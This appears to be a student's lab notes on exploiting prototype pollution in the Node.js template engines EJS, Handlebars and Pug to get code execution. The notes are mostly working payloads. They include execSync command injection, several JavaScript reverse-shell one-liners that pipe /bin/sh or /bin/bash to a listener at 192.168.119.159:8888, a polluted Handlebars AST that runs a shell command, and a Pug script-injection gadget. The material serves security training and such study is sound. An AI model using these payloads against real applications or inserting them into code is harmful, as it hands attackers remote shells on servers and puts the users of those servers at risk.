EJS
- Interactive Node:
docker-compose -f ~/chips/docker-compose.yml exec chips node - Interactive Node Debugger:
docker-compose -f ~/chips/docker-compose.yml exec chips node --inspect=0.0.0.0:9228
let ejs = require('ejs');
let template = ejs.compile("Hello, <%= foo %>", {})
template({"foo":"world"})
ejs.render("Hello, <%= foo %>", {"foo":"world"}, {})
Observe Crash
- Find oracle vector - a value that is unassigned by default, which will be called if assigned - even calling the prototype (Object.prototype.escape)
options.escapeFunction = opts.escape || opts.escapeFunction || utils.escapeXML;- Use regex to search if statements:
if[ ]+\([a-zA-Z]+\.[a-zA-Z]+\)[ ]+\{
- Test using Interactive Node: ```javascript o = { … “escape” : function (x) { ….. console.log(“Running escape”); ….. return x; ….. } … }
ejs.render(“Hello, <%= foo %>”, {“foo”:”world”}, o) // Running escape\n ‘Hello, world’
**Other Vectors**
+ `prepended += ' var ' + opts.outputFunctionName + ' = __append;' + `
+ Test Interactive: `ejs.render("hello <% echo('world'); %>", {}, {outputFunctionName: 'echo'});`
+ Ensure payload is valid: `var x = 1; WHATEVER_JSCODE_WE_WANT ; y = __append;'`
**RCE**
+ `console.log(process.mainModule.require('child_process').execSync('whoami').toString());`
+ `(function(){var net = require("net");cp = require("child_process");sh = cp.spawn("/bin/sh", []);var client = new net.Socket();client.connect(8888, "192.168.119.159", function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;})();`
+ ` var x = global.process.mainModule.require;(function(){var net = x('net');cp = x('child_process');sh = cp.spawn('/bin/sh', []);var client = new net.Socket();client.connect(8888, '192.168.119.159', function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;})();;`
+ msfconsole to receive the shell
## Handlebars
+ `TEMPLATING_ENGINE=hbs docker-compose -f ~/chips/docker-compose.yml up`
+ handlebars/compiler directory
Handlebars = require(“handlebars”) ast = Handlebars.parse(“hello {{ foo }}”) Handlebars.parse(ast)
precompiled = Handlebars.precompile(ast) eval(“compiled = “ + precompiled) hello = Handlebars.template(compiled) hello({“foo”: “student”})
+ Location: `if (this.pendingContent) {content = this.pendingContent + content;`
+ Create proof of concept using XSS
**Bypass Filters**
+ `{}.__proto__.pendingContent = "singleQuote: ' DoubleQuote: \" "`
+ `this.source.push(this.appendToBuffer(this.source.quotedString(this.pendingContent), this.pendingLocation));` --> QuotedString
+ Test all literals:
+ `ast = Handlebars.parse('{{someHelper "some string" 12345 true undefined null}}')`
+ `ast.body[0].params[1]`
+ If debugging, catch all exceptions!
```javascript
"__proto__":
{
"type": "Program",
"body":[
{
"type": "MustacheStatement",
"path":0,
"loc": 0,
"params":[
{
"type": "NumberLiteral",
"value": "console.log(process.mainModule.require('child_process').execSync('whoami').toString())"
}
]
}
]
}
Pug
const pug = require('pug');
Object.prototype.block = {"type":"Text","val":`<script>alert(origin)</script>`};
const source = `h1= msg`;
var fn = pug.compile(source, {});
var html = fn({msg: 'It works'});
console.log(html); // <h1>It works<script>alert(origin)</script></h1>

Regex
if[ ]+\([a-zA-Z]+\.[a-zA-Z]+\)[ ]+\{
"__proto__":{"block": {"type":"Text","line":"net = global.process.mainModule.require('net'), sh = global.process.mainModule.require('child_process').exec('/bin/bash'), client = new net.Socket(), client.connect(8888, '192.168.119.159', function() {client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client);})"}}
